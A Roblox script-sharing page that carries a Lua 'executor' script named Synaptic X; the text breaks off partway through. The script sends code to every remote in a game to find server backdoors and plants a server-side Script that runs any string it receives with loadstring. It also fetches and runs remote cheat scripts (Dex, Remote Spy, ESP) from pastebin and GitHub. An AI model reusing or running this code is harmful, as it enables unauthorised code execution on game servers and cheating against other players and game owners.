Synaptic X  Advanced Roblox Executor
Key RequiredUniversal

Synaptic X Advanced Roblox Executor

Universal ScriptZcel35Zcel35 8.7K views 2.2K executesUpdated Mar 31, 2026
1.7/ 5(3 votes)
1233% Positive
Lua Script•1178 lines (40015 chars)
pcall(function() game.CoreGui["Synaptic X"]:Destroy() end)

local SynapseXreal = Instance.new("ScreenGui")
local MainFrame = Instance.new("Frame")
local bar = Instance.new("Frame")
local Close = Instance.new("TextButton")
local Mini = Instance.new("TextButton")
local Min = Instance.new("TextButton")
local ImageLabel = Instance.new("ImageLabel")
local EditorFrame = Instance.new("ScrollingFrame")
local Source = Instance.new("TextBox")
local Comments_ = Instance.new("TextLabel")
local Globals_ = Instance.new("TextLabel")
local Keywords_ = Instance.new("TextLabel")
local RemoteHighlight_ = Instance.new("TextLabel")
local Strings_ = Instance.new("TextLabel")
local Tokens_ = Instance.new("TextLabel")
local Numbers_ = Instance.new("TextLabel")
local Lines = Instance.new("TextLabel")
local title = Instance.new("TextLabel")
local list = Instance.new("Frame")
local execute = Instance.new("TextButton")
local clear = Instance.new("TextButton")
local options = Instance.new("TextButton")
local scripthub = Instance.new("TextButton")
local Attach = Instance.new("TextButton")
local title_2 = Instance.new("ImageLabel")
local scripthub_2 = Instance.new("Frame")
local optionspage = Instance.new("Frame")
local bar_2 = Instance.new("Frame")
local select = Instance.new("Frame")
local dex = Instance.new("TextButton")
local esp = Instance.new("TextButton")
local spy = Instance.new("TextButton")
local dumper = Instance.new("TextButton")
local backdoor = Instance.new("TextButton")
local desc = Instance.new("Frame")
local descri = Instance.new("TextLabel")
local title_3 = Instance.new("TextLabel")
local execute_2 = Instance.new("TextButton")
local close = Instance.new("TextButton")
local title_4 = Instance.new("ImageLabel")
local title_5 = Instance.new("TextLabel")
local title_6 = Instance.new("ImageLabel")
local synminbutt = Instance.new("ImageButton")
local synapsex3 = Instance.new("TextButton")
local Tabs = Instance.new("Folder")
local NewTab = Instance.new("TextButton")

local scriptselected = "none"
local injected = false
local backdoorRemote = nil
local remotes = {}

local function generateName(length)
    local alphabet = {}
    for c = 65,90 do alphabet[#alphabet+1]=string.char(c) end
    for c = 97,122 do alphabet[#alphabet+1]=string.char(c) end
    local n = ""
    for i=1,length do
        n = n .. alphabet[math.random(#alphabet)]
    end
    return n
end

local function runRemote(remote, data)
    if remote:IsA('RemoteEvent') then
        remote:FireServer(data)
    elseif remote:IsA('RemoteFunction') then
        spawn(function() pcall(function() remote:InvokeServer(data) end) end)
    end
end

local function searchExistingBackdoor()
    remotes = {}
    
    local replicatedStorage = game:FindFirstChild("ReplicatedStorage")
    if replicatedStorage then
        local special = replicatedStorage:FindFirstChild("lh"..game.PlaceId/6666*1337*game.PlaceId)
        if special and (special:IsA("RemoteEvent") or special:IsA("RemoteFunction")) then
            local testCode = generateName(15)
            task.spawn(function()
                pcall(function()
                    if special:IsA("RemoteFunction") then
                        special:InvokeServer("bypass", "a=Instance.new('Model',workspace);a.Name='"..testCode.."'")
                    else
                        special:FireServer("bypass", "a=Instance.new('Model',workspace);a.Name='"..testCode.."'")
                    end
                end)
            end)
            remotes[testCode] = special
        end
    end
    
    for _,v in ipairs(game:GetDescendants()) do
        if v:IsA("RemoteEvent") or v:IsA("RemoteFunction") then
            local full = v:GetFullName()
            if full:find("RobloxReplicatedStorage") or full:find("__FUNCTION") or full:find("DefaultChatSystem") then
                continue
            end
            
            local testCode = generateName(15)
            if v:IsA("RemoteEvent") then
                pcall(function()
                    v:FireServer("a=Instance.new('Model',workspace);a.Name='"..testCode.."'")
                end)
            elseif v:IsA("RemoteFunction") then
                task.spawn(function()
                    pcall(function()
                        v:InvokeServer("a=Instance.new('Model',workspace);a.Name='"..testCode.."'")
                    end)
                end)
            end
            remotes[testCode] = v
            task.wait()
        end
    end
    
    for i=1,30 do
        for code,remote in pairs(remotes) do
            local model = workspace:FindFirstChild(code)
            if model then
                model:Destroy()
                backdoorRemote = remote
                getgenv().SynapticBackdoor = remote
                return true
            end
        end
        task.wait()
    end
    
    return false
end

local function createActorBackdoor()
    local success = false
    local testCode = generateName(15)
    
    pcall(function()
        local actor = Instance.new("Actor")
        actor.Name = "SynapticX_" .. generateName(6)
        actor.Parent = game:GetService("CoreGui")
        
        local remote = Instance.new("RemoteEvent")
        remote.Name = generateName(10)
        remote.Parent = actor
        
        local serverScript = Instance.new("Script")
        serverScript.Name = "Backdoor"
        serverScript.Parent = actor
        
        serverScript.Source = [[
            local remote = script.Parent:FindFirstChildWhichIsA("RemoteEvent")
            
            pcall(function()
                if setthreadidentity then setthreadidentity(7) end
                if setidentity then setidentity(7) end
            end)
            
            local function loadModuleByID(id)
                local success, module = pcall(function()
                    return game:GetService("InsertService"):LoadAsset(id)
                end)
                if success and module and module:IsA("ModuleScript") then
                    local fn, err = loadstring(module.Source, "=" .. module.Name)
                    if fn then
                        local env = setmetatable({}, {__index = _G})
                        setfenv(fn, env)
                        local ok, result = pcall(fn)
                        if ok then
                            return result
                        end
                    end
                end
                return nil
            end
            
            remote.OnServerEvent:Connect(function(player, data)
                if type(data) == "string" then
                    if data:match("^require%((%d+)%)") then
                        local id = tonumber(data:match("^require%((%d+)%)"))
                        if id then
                            local module = loadModuleByID(id)
                            if module and type(module) == "table" and module.Fire then
                                local args = data:match("require%(%d+%)%:Fire%((.+)%)")
                                if args then
                                    local fn = loadstring("return " .. args)
                                    if fn then
                                        local parsedArgs = {fn()}
                                        pcall(function() module.Fire(unpack(parsedArgs)) end)
                                    end
                                end
                            end
                            return
                        end
                    end
                    
                    local fn, err = loadstring(data)
                    if fn then
                        local env = setmetatable({}, {__index = _G})
                        env.require = function(id)
                            if type(id) == "number" then
                                return loadModuleByID(id)
                            end
                            return nil
                        end
                        setfenv(fn, env)
                        pcall(fn)
                    end
                end
            end)
        ]]
        
        pcall(function()
            actor:Run()
        end)
        
        backdoorRemote = remote
        getgenv().SynapticBackdoor = remote
        
        task.wait(1)
        
        pcall(function()
            remote:FireServer("a=Instance.new('Model',workspace);a.Name='"..testCode.."'")
        end)
        
        for i=1,30 do
            local model = workspace:FindFirstChild(testCode)
            if model then
                model:Destroy()
                success = true
                break
            end
            task.wait(0.1)
        end
    end)
    
    return success
end

local function tryLoadstring(code)
    local success, err = pcall(function()
        local fn = loadstring(code)
        if fn then
            fn()
            return true
        end
        return false
    end)
    return success
end

SynapseXreal.Name = "Synaptic X"
SynapseXreal.Parent = game.CoreGui
SynapseXreal.ResetOnSpawn = false

MainFrame.Name = "MainFrame"
MainFrame.Parent = SynapseXreal
MainFrame.Active = true
MainFrame.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
MainFrame.BorderSizePixel = 0
MainFrame.Position = UDim2.new(0.0543109924, 0, 0.103222892, 0)
MainFrame.Size = UDim2.new(0, 689, 0, 320)
MainFrame.Visible = true

bar.Name = "bar"
bar.Parent = MainFrame
bar.BackgroundColor3 = Color3.fromRGB(94, 94, 94)
bar.BackgroundTransparency = 0.800
bar.BorderSizePixel = 0
bar.Position = UDim2.new(-0, 0, -0.00296382909, 0)
bar.Size = UDim2.new(0, 689, 0, 25)

synminbutt.Name = "synminbutt"
synminbutt.Parent = SynapseXreal
synminbutt.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
synminbutt.BackgroundTransparency = 1.000
synminbutt.Position = UDim2.new(0, 0, 0, 0)
synminbutt.Size = UDim2.new(0, 24, 0, 28)
synminbutt.Visible = false
synminbutt.ZIndex = 14
synminbutt.Image = "http://www.roblox.com/asset/?id=7641125882"
synminbutt.ImageRectSize = Vector2.new(138, 167)
synminbutt.MouseButton1Click:Connect(function()
    MainFrame.Visible = true
    synminbutt.Visible = false
end)

Close.Name = "Close"
Close.Parent = bar
Close.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Close.BackgroundTransparency = 1.000
Close.BorderColor3 = Color3.fromRGB(27, 42, 53)
Close.BorderSizePixel = 0
Close.Position = UDim2.new(0.965521046, 0, 0.07, 0)
Close.Size = UDim2.new(0, 21, 0, 25)
Close.Font = Enum.Font.Arial
Close.Text = "X"
Close.TextColor3 = Color3.fromRGB(255, 255, 255)
Close.TextSize = 14.000
Close.MouseButton1Click:Connect(function()
    SynapseXreal:Destroy()
end)

Mini.Name = "Mini"
Mini.Parent = bar
Mini.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Mini.BackgroundTransparency = 1.000
Mini.BorderColor3 = Color3.fromRGB(27, 42, 53)
Mini.BorderSizePixel = 0
Mini.Position = UDim2.new(0.905521046, 0, 0.01, 0)
Mini.Size = UDim2.new(0, 21, 0, 25)
Mini.Font = Enum.Font.Arial
Mini.Text = "_"
Mini.TextColor3 = Color3.fromRGB(255, 255, 255)
Mini.TextSize = 14.000
Mini.MouseButton1Click:Connect(function()
    game.StarterGui:SetCore("SendNotification", {
        Title = "Synaptic X";
        Text = "Synaptic X minimized.";
        Duration = 2;
    })
    synminbutt.Visible = true
    MainFrame.Visible = false
end)

Min.Name = "Min"
Min.Parent = bar
Min.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Min.BackgroundTransparency = 1.000
Min.BorderColor3 = Color3.fromRGB(27, 42, 53)
Min.BorderSizePixel = 0
Min.Position = UDim2.new(0.935521046, 0, 0.07, 0)
Min.Size = UDim2.new(0, 21, 0, 25)
Min.Font = Enum.Font.Arial
Min.Text = "M"
Min.TextColor3 = Color3.fromRGB(255, 255, 255)
Min.TextSize = 14.000
Min.MouseButton1Click:Connect(function()
    game.StarterGui:SetCore("SendNotification", {
        Title = "Synaptic X";
        Text = "Synaptic X hide. Press F6 to back.";
        Duration = 2;
    })
    MainFrame.Visible = false
    synminbutt.Visible = false
end)

ImageLabel.Parent = MainFrame
ImageLabel.BackgroundColor3 = Color3.fromRGB(47, 47, 47)
ImageLabel.BorderSizePixel = 0
ImageLabel.Position = UDim2.new(0.0252733715, 0, 0.015625, 39)
ImageLabel.Size = UDim2.new(0, 541, 0, 232)

Tabs.Name = "Tabs"
Tabs.Parent = ImageLabel

NewTab.Name = "NewTab"
NewTab.Parent = Tabs
NewTab.BackgroundColor3 = Color3.fromRGB(107, 107, 107)
NewTab.BorderSizePixel = 0
NewTab.Position = UDim2.new(0, 0, -0.0659999996, 0)
NewTab.Size = UDim2.new(0, 14, 0, 14)
NewTab.Font = Enum.Font.SourceSans
NewTab.Text = "+"
NewTab.TextColor3 = Color3.fromRGB(255, 255, 255)
NewTab.TextSize = 14.000

EditorFrame.Name = "EditorFrame"
EditorFrame.Parent = ImageLabel
EditorFrame.Active = true
EditorFrame.BackgroundColor3 = Color3.fromRGB(37, 37, 37)
EditorFrame.BackgroundTransparency = 1.000
EditorFrame.BorderColor3 = Color3.fromRGB(61, 61, 61)
EditorFrame.Size = UDim2.new(1, 0, 1, 0)
EditorFrame.ZIndex = 3
EditorFrame.BottomImage = "rbxassetid://148970562"
EditorFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
EditorFrame.HorizontalScrollBarInset = Enum.ScrollBarInset.ScrollBar
EditorFrame.MidImage = "rbxassetid://148970562"
EditorFrame.ScrollBarThickness = 5
EditorFrame.TopImage = "rbxassetid://148970562"
EditorFrame.BorderSizePixel = 0

Source.Name = "Source"
Source.Parent = EditorFrame
Source.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Source.BackgroundTransparency = 1.000
Source.Position = UDim2.new(0, 30, 0, 0)
Source.BorderSizePixel = 0
Source.Size = UDim2.new(0.945652187, 0, 1, 0)
Source.ZIndex = 3
Source.ClearTextOnFocus = false
Source.Font = Enum.Font.Code
Source.MultiLine = true
Source.ShowNativeInput = false
Source.PlaceholderColor3 = Color3.fromRGB(204, 204, 2-4)
Source.Text = ""
Source.TextColor3 = Color3.fromRGB(204, 204, 204)
Source.TextSize = 15.000
Source.TextXAlignment = Enum.TextXAlignment.Left
Source.TextYAlignment = Enum.TextYAlignment.Top

Comments_.Name = "Comments_"
Comments_.Parent = Source
Comments_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Comments_.BackgroundTransparency = 1.000
Comments_.Size = UDim2.new(1, 0, 1, 0)
Comments_.ZIndex = 5
Comments_.Font = Enum.Font.Code
Comments_.Text = ""
Comments_.TextColor3 = Color3.fromRGB(59, 200, 59)
Comments_.TextSize = 15.000
Comments_.TextXAlignment = Enum.TextXAlignment.Left
Comments_.TextYAlignment = Enum.TextYAlignment.Top

Globals_.Name = "Globals_"
Globals_.Parent = Source
Globals_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Globals_.BackgroundTransparency = 1.000
Globals_.Size = UDim2.new(1, 0, 1, 0)
Globals_.ZIndex = 5
Globals_.Font = Enum.Font.Code
Globals_.Text = ""
Globals_.TextColor3 = Color3.fromRGB(132, 214, 247)
Globals_.TextSize = 15.000
Globals_.TextXAlignment = Enum.TextXAlignment.Left
Globals_.TextYAlignment = Enum.TextYAlignment.Top

Keywords_.Name = "Keywords_"
Keywords_.Parent = Source
Keywords_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Keywords_.BackgroundTransparency = 1.000
Keywords_.Size = UDim2.new(1, 0, 1, 0)
Keywords_.ZIndex = 5
Keywords_.Font = Enum.Font.Code
Keywords_.Text = ""
Keywords_.TextColor3 = Color3.fromRGB(248, 109, 124)
Keywords_.TextSize = 15.000
Keywords_.TextXAlignment = Enum.TextXAlignment.Left
Keywords_.TextYAlignment = Enum.TextYAlignment.Top

RemoteHighlight_.Name = "RemoteHighlight_"
RemoteHighlight_.Parent = Source
RemoteHighlight_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
RemoteHighlight_.BackgroundTransparency = 1.000
RemoteHighlight_.Size = UDim2.new(1, 0, 1, 0)
RemoteHighlight_.ZIndex = 5
RemoteHighlight_.Font = Enum.Font.Code
RemoteHighlight_.Text = ""
RemoteHighlight_.TextColor3 = Color3.fromRGB(0, 144, 255)
RemoteHighlight_.TextSize = 15.000
RemoteHighlight_.TextXAlignment = Enum.TextXAlignment.Left
RemoteHighlight_.TextYAlignment = Enum.TextYAlignment.Top

Strings_.Name = "Strings_"
Strings_.Parent = Source
Strings_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Strings_.BackgroundTransparency = 1.000
Strings_.Size = UDim2.new(1, 0, 1, 0)
Strings_.ZIndex = 5
Strings_.Font = Enum.Font.Code
Strings_.Text = ""
Strings_.TextColor3 = Color3.fromRGB(173, 241, 149)
Strings_.TextSize = 15.000
Strings_.TextXAlignment = Enum.TextXAlignment.Left
Strings_.TextYAlignment = Enum.TextYAlignment.Top

Tokens_.Name = "Tokens_"
Tokens_.Parent = Source
Tokens_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Tokens_.BackgroundTransparency = 1.000
Tokens_.Size = UDim2.new(1, 0, 1, 0)
Tokens_.ZIndex = 5
Tokens_.Font = Enum.Font.Code
Tokens_.Text = ""
Tokens_.TextColor3 = Color3.fromRGB(255, 255, 255)
Tokens_.TextSize = 15.000
Tokens_.TextXAlignment = Enum.TextXAlignment.Left
Tokens_.TextYAlignment = Enum.TextYAlignment.Top

Numbers_.Name = "Numbers_"
Numbers_.Parent = Source
Numbers_.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Numbers_.BackgroundTransparency = 1.000
Numbers_.Size = UDim2.new(1, 0, 1, 0)
Numbers_.ZIndex = 4
Numbers_.Font = Enum.Font.Code
Numbers_.Text = ""
Numbers_.TextColor3 = Color3.fromRGB(255, 198, 0)
Numbers_.TextSize = 15.000
Numbers_.TextXAlignment = Enum.TextXAlignment.Left
Numbers_.TextYAlignment = Enum.TextYAlignment.Top

Lines.Name = "Lines"
Lines.Parent = EditorFrame
Lines.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Lines.BackgroundTransparency = 1.000
Lines.Size = UDim2.new(0, 30, 1, 0)
Lines.ZIndex = 4
Lines.Font = Enum.Font.Code
Lines.Text = "1"
Lines.TextColor3 = Color3.fromRGB(255, 255, 255)
Lines.TextSize = 15.000
Lines.TextYAlignment = Enum.TextYAlignment.Top

title.Name = "title"
title.Parent = MainFrame
title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
title.BackgroundTransparency = 1.000
title.Position = UDim2.new(0.330062926, 0, 0.00625000056, 0)
title.Size = UDim2.new(0, 200, 0, 22)
title.Font = Enum.Font.SourceSans
title.Text = "Synaptic X - Advanced Executor"
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.TextSize = 16.000

list.Name = "list"
list.Parent = MainFrame
list.BackgroundColor3 = Color3.fromRGB(53, 53, 53)
list.BorderSizePixel = 0
list.Position = UDim2.new(0.820970535, 0, 0.100000001, 0)
list.Size = UDim2.new(0, 114, 0, 246)

execute.Name = "execute"
execute.Parent = MainFrame
execute.BackgroundColor3 = Color3.fromRGB(104, 104, 104)
execute.BackgroundTransparency = 0.800
execute.BorderSizePixel = 0
execute.Position = UDim2.new(0.0095389355, 0, 0.887499988, 0)
execute.Size = UDim2.new(0, 92, 0, 30)
execute.Font = Enum.Font.Arial
execute.Text = "Execute"
execute.TextColor3 = Color3.fromRGB(255, 255, 255)
execute.TextSize = 14.000

execute.MouseButton1Click:Connect(function()
    if not injected then
        title.Text = "Synaptic X - (Not injected! Press Attach)"
        wait(1)
        title.Text = "Synaptic X - Advanced Executor"
        return
    end
    
    if not backdoorRemote then
        game.StarterGui:SetCore("SendNotification", {
            Title = "Synaptic X";
            Text = "Backdoor not ready! Press Attach again.";
            Duration = 3;
        })
        return
    end
    
    local code = Source.Text
    if code == "" or code:match("^%s*$") then
        game.StarterGui:SetCore("SendNotification", {
            Title = "Synaptic X";
            Text = "No code to execute!";
            Duration = 2;
        })
        return
    end
    
    title.Text = "Synaptic X - (Executing...)"
    
    local lines = {}
    for line in code:gmatch("[^\r\n]+") do
        if line:match("^%s*$") == nil then
            table.insert(lines, line)
        end
    end
    
    local executed = 0
    for _, line in ipairs(lines) do
        if line and line ~= "" then
            pcall(function()
                if backdoorRemote:IsA("RemoteEvent") then
                    backdoorRemote:FireServer(line)
                else
                    backdoorRemote:InvokeServer(line)
                end
                executed = executed + 1
            end)
        end
    end
    
    title.Text = "Synaptic X - (Ready!)"
    wait(0.3)
    title.Text = "Synaptic X - Advanced Executor"
    
    game.StarterGui:SetCore("SendNotification", {
        Title = "Synaptic X";
        Text = "Executed " .. executed .. " line(s) on SERVER!";
        Duration = 3;
    })
end)

clear.Name = "clear"
clear.Parent = MainFrame
clear.BackgroundColor3 = Color3.fromRGB(104, 104, 104)
clear.BackgroundTransparency = 0.800
clear.BorderSizePixel = 0
clear.Position = UDim2.new(0.154146105, 0, 0.887499988, 0)
clear.Size = UDim2.new(0, 84, 0, 30)
clear.Font = Enum.Font.Arial
clear.Text = "Clear"
clear.TextColor3 = Color3.fromRGB(255, 255, 255)
clear.TextSize = 14.000
clear.MouseButton1Click:Connect(function()
    Source.Text = ""
end)

options.Name = "options"
options.Parent = MainFrame
options.BackgroundColor3 = Color3.fromRGB(104, 104, 104)
options.BackgroundTransparency = 0.800
options.BorderSizePixel = 0
options.Position = UDim2.new(0.285157200, 0, 0.887499988, 0)
options.Size = UDim2.new(0, 84, 0, 30)
options.Font = Enum.Font.Arial
options.Text = "Options"
options.TextColor3 = Color3.fromRGB(255, 255, 255)
options.TextSize = 14.000
options.MouseButton1Click:Connect(function()
    optionspage.Visible = not optionspage.Visible
end)

scripthub.Name = "scripthub"
scripthub.Parent = MainFrame
scripthub.BackgroundColor3 = Color3.fromRGB(104, 104, 104)
scripthub.BackgroundTransparency = 0.800
scripthub.BorderSizePixel = 0
scripthub.Position = UDim2.new(0.871768773, 0, 0.887499988, 0)
scripthub.Size = UDim2.new(0, 79, 0, 30)
scripthub.Font = Enum.Font.Arial
scripthub.Text = "Script Hub"
scripthub.TextColor3 = Color3.fromRGB(255, 255, 255)
scripthub.TextSize = 14.000
scripthub.MouseButton1Click:Connect(function()
    scripthub_2.Visible = not scripthub_2.Visible
end)

Attach.Name = "Attach"
Attach.Parent = MainFrame
Attach.BackgroundColor3 = Color3.fromRGB(104, 104, 104)
Attach.BackgroundTransparency = 0.800
Attach.BorderSizePixel = 0
Attach.Position = UDim2.new(0.741144657, 0, 0.887499988, 0)
Attach.Size = UDim2.new(0, 84, 0, 30)
Attach.Font = Enum.Font.Arial
Attach.Text = "Attach"
Attach.TextColor3 = Color3.fromRGB(255, 255, 255)
Attach.TextSize = 14.000

Attach.MouseButton1Click:Connect(function()
    if injected then
        title.Text = "Synaptic X - (Already injected!)"
        wait(1)
        title.Text = "Synaptic X - Advanced Executor"
        return
    end
    
    title.Text = "Synaptic X - (Searching for backdoors...)"
    game.StarterGui:SetCore("SendNotification", {
        Title = "Synaptic X";
        Text = "Searching for backdoors...";
        Duration = 2;
    })
    
    local found = false
    
    found = searchExistingBackdoor()
    
    if not found then
        title.Text = "Synaptic X - (Creating backdoor via Actor...)"
        found = createActorBackdoor()
    end
    
    if not found then
        title.Text = "Synaptic X - (Trying direct execution...)"
        local testCode = generateName(15)
        local success = tryLoadstring("local m = Instance.new('Model',workspace); m.Name='"..testCode.."'")
        if success then
            for i=1,30 do
                local model = workspace:FindFirstChild(testCode)
                if model then
                    model:Destroy()
                    found = true
                    break
                end
                task.wait(0.1)
            end
        end
    end
    
    if found and backdoorRemote then
        injected = true
        title.Text = "Synaptic X - (Ready!)"
        wait(0.5)
        title.Text = "Synaptic X - Advanced Executor"
        
        game.StarterGui:SetCore("SendNotification", {
            Title = "Synaptic X";
            Text = "✓ Backdoor found/created!\nRemote: " .. backdoorRemote.Name .. "\nrequire() works with Module IDs!";
            Duration = 5;
        })
    else
        title.Text = "Synaptic X - (Failed!)"
        wait(1)
        title.Text = "Synaptic X - Advanced Executor"
        
        game.StarterGui:SetCore("SendNotification", {
            Title = "Synaptic X";
            Text = "✗ No backdoor found!\nTry again or use another method.";
            Duration = 4;
        })
    end
end)

title_2.Name = "title"
title_2.Parent = MainFrame
title_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
title_2.BackgroundTransparency = 1.000
title_2.Position = UDim2.new(0.00870821718, 0, 0, 0)
title_2.Size = UDim2.new(0, 18, 0, 24)
title_2.ZIndex = 14
title_2.Image = "http://www.roblox.com/asset/?id=7641125882"
title_2.ImageRectSize = Vector2.new(138, 167)

scripthub_2.Name = "scripthub"
scripthub_2.Parent = SynapseXreal
scripthub_2.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
scripthub_2.BorderSizePixel = 0
scripthub_2.Position = UDim2.new(0.433135211, 0, 0.502979755, 0)
scripthub_2.Size = UDim2.new(0, 290, 0, 305)
scripthub_2.Visible = false
scripthub_2.ZIndex = 100

optionspage.Name = "optionspage"
optionspage.Parent = SynapseXreal
optionspage.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
optionspage.BorderSizePixel = 0
optionspage.Position = UDim2.new(0.433135211, 0, 0.502979755, 0)
optionspage.Size = UDim2.new(0, 290, 0, 305)
optionspage.Visible = false
optionspage.ZIndex = 100

bar_2.Name = "bar"
bar_2.Parent = scripthub_2
bar_2.BackgroundColor3 = Color3.fromRGB(94, 94, 94)
bar_2.BackgroundTransparency = 0.800
bar_2.BorderSizePixel = 0
bar_2.Position = UDim2.new(0, 0, -0.0029638072, 0)
bar_2.Size = UDim2.new(0, 290, 0, 25)

select.Name = "select"
select.Parent = scripthub_2
select.BackgroundColor3 = Color3.fromRGB(21, 21, 21)
select.BorderSizePixel = 0
select.Position = UDim2.new(0.0299979374, 0, 0.104918033, 0)
select.Size = UDim2.new(0, 82, 0, 264)
select.ZIndex = 110

dex.Name = "dex"
dex.Parent = select
dex.BackgroundColor3 = Color3.fromRGB(0, 32, 61)
dex.BackgroundTransparency = 1.000
dex.BorderColor3 = Color3.fromRGB(0, 0, 49)
dex.BorderSizePixel = 0
dex.Position = UDim2.new(0.0121960752, 0, -1.49011612e-08, 0)
dex.Size = UDim2.new(0, 80, 0, 18)
dex.Font = Enum.Font.SourceSans
dex.Text = " Dark Dex"
dex.TextColor3 = Color3.fromRGB(255, 255, 255)
dex.TextSize = 14.000
dex.TextXAlignment = Enum.TextXAlignment.Left
dex.ZIndex = 110
dex.MouseButton1Click:Connect(function()
    scriptselected = "dex"
end)

esp.Name = "esp"
esp.Parent = select
esp.BackgroundColor3 = Color3.fromRGB(0, 32, 61)
esp.BackgroundTransparency = 1.000
esp.BorderColor3 = Color3.fromRGB(0, 0, 49)
esp.BorderSizePixel = 0
esp.Position = UDim2.new(0.0121960752, 0, 0.0681818053, 0)
esp.Size = UDim2.new(0, 80, 0, 18)
esp.Font = Enum.Font.SourceSans
esp.Text = " Unnamed ESP"
esp.TextColor3 = Color3.fromRGB(255, 255, 255)
esp.TextSize = 14.000
esp.TextXAlignment = Enum.TextXAlignment.Left
esp.ZIndex = 110
esp.MouseButton1Click:Connect(function()
    scriptselected = "esp"
end)

spy.Name = "spy"
spy.Parent = select
spy.BackgroundColor3 = Color3.fromRGB(0, 32, 61)
spy.BackgroundTransparency = 1.000
spy.BorderColor3 = Color3.fromRGB(0, 0, 49)
spy.BorderSizePixel = 0
spy.Position = UDim2.new(0.0121960752, 0, 0.136363626, 0)
spy.Size = UDim2.new(0, 80, 0, 18)
spy.Font = Enum.Font.SourceSans
spy.Text = " Remote Spy"
spy.TextColor3 = Color3.fromRGB(255, 255, 255)
spy.TextSize = 14.000
spy.TextXAlignment = Enum.TextXAlignment.Left
spy.ZIndex = 110
spy.MouseButton1Click:Connect(function()
    scriptselected = "spy"
end)

dumper.Name = "dumper"
dumper.Parent = select
dumper.BackgroundColor3 = Color3.fromRGB(0, 32, 61)
dumper.BackgroundTransparency = 1.000
dumper.BorderColor3 = Color3.fromRGB(0, 0, 49)
dumper.BorderSizePixel = 0
dumper.Position = UDim2.new(0.0121960752, 0, 0.204545438, 0)
dumper.Size = UDim2.new(0, 80, 0, 18)
dumper.Font = Enum.Font.SourceSans
dumper.Text = " SaveInstance"
dumper.TextColor3 = Color3.fromRGB(255, 255, 255)
dumper.TextSize = 14.000
dumper.TextXAlignment = Enum.TextXAlignment.Left
dumper.ZIndex = 110
dumper.MouseButton1Click:Connect(function()
    scriptselected = "dumper"
end)

backdoor.Name = "backdoor"
backdoor.Parent = select
backdoor.BackgroundColor3 = Color3.fromRGB(0, 32, 61)
backdoor.BackgroundTransparency = 1.000
backdoor.BorderColor3 = Color3.fromRGB(0, 0, 49)
backdoor.BorderSizePixel = 0
backdoor.Position = UDim2.new(0.0121960752, 0, 0.274545438, 0)
backdoor.Size = UDim2.new(0, 80, 0, 18)
backdoor.Font = Enum.Font.SourceSans
backdoor.Text = " backdoor.exe"
backdoor.TextColor3 = Color3.fromRGB(255, 255, 255)
backdoor.TextSize = 14.000
backdoor.TextXAlignment = Enum.TextXAlignment.Left
backdoor.ZIndex = 110
backdoor.MouseButton1Click:Connect(function()
    scriptselected = "backdoor"
    if backdoorRemote then
        descri.Text = "✓ Backdoor active!\nRemote: " .. backdoorRemote.Name .. "\nUse: getgenv().SynapticBackdoor:FireServer(code)\nRequire with IDs supported!"
    else
        descri.Text = "✗ No backdoor. Press Attach first!"
    end
end)

desc.Name = "desc"
desc.Parent = scripthub_2
desc.BackgroundColor3 = Color3.fromRGB(21, 21, 21)
desc.BorderSizePixel = 0
desc.Position = UDim2.new(0.340342641, 0, 0.613114715, 0)
desc.Size = UDim2.new(0, 184, 0, 69)
desc.ZIndex = 110

descri.Name = "descri"
descri.Parent = desc
descri.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
descri.BackgroundTransparency = 1.000
descri.BorderSizePixel = 0
descri.Position = UDim2.new(0.0112334546, 0, 0, 0)
descri.Size = UDim2.new(0, 181, 0, 69)
descri.Font = Enum.Font.SourceSans
descri.Text = ""
descri.TextColor3 = Color3.fromRGB(255, 255, 255)
descri.TextSize = 15.000
descri.TextWrapped = true
descri.TextXAlignment = Enum.TextXAlignment.Left
descri.TextYAlignment = Enum.TextYAlignment.Top
descri.ZIndex = 125

title_3.Name = "title"
title_3.Parent = scripthub_2
title_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
title_3.BackgroundTransparency = 1.000
title_3.Position = UDim2.new(0.161097407, 0, -0.000307376496, 0)
title_3.Size = UDim2.new(0, 200, 0, 22)
title_3.Font = Enum.Font.SourceSans
title_3.Text = "Synaptic X - Script Hub"
title_3.TextColor3 = Color3.fromRGB(255, 255, 255)
title_3.TextSize = 16.000
title_3.ZIndex = 110

execute_2.Name = "execute"
execute_2.Parent = scripthub_2
execute_2.BackgroundColor3 = Color3.fromRGB(104, 104, 104)
execute_2.BackgroundTransparency = 0.800
execute_2.BorderSizePixel = 0
execute_2.Position = UDim2.new(0.34057343, 0, 0.871106505, 0)
execute_2.Size = UDim2.new(0, 92, 0, 30)
execute_2.Font = Enum.Font.Arial
execute_2.Text = "Execute"
execute_2.TextColor3 = Color3.fromRGB(255, 255, 255)
execute_2.TextSize = 14.000
execute_2.ZIndex = 110
execute_2.MouseButton1Click:Connect(function()
    if injected then
        if scriptselected == "dex" then
            loadstring(game:HttpGet("https://pastebin.com/raw/J8AX35Fg"))()
        elseif scriptselected == "spy" then
            loadstring(game:HttpGet('https://pastebin.com/raw/JZaJe9Sg'))()
        elseif scriptselected == "dumper" then
            saveinstance()
        elseif scriptselected == "esp" then
            loadstring(game:HttpGet("https://raw.githubusercontent.com/ic3w0lf22/Unnamed-ESP/master/UnnamedESP.lua"))()
        elseif scriptselected == "backdoor" then
            if backdoorRemote then
                game.StarterGui:SetCore("SendNotification", {
                    Title = "Synaptic X";
                    Text = "✓ Backdoor active!\nRemote: " .. backdoorRemote.Name;
                    Duration = 3;
                })
            else
                game.StarterGui:SetCore("SendNotification", {
                    Title = "Synaptic X";
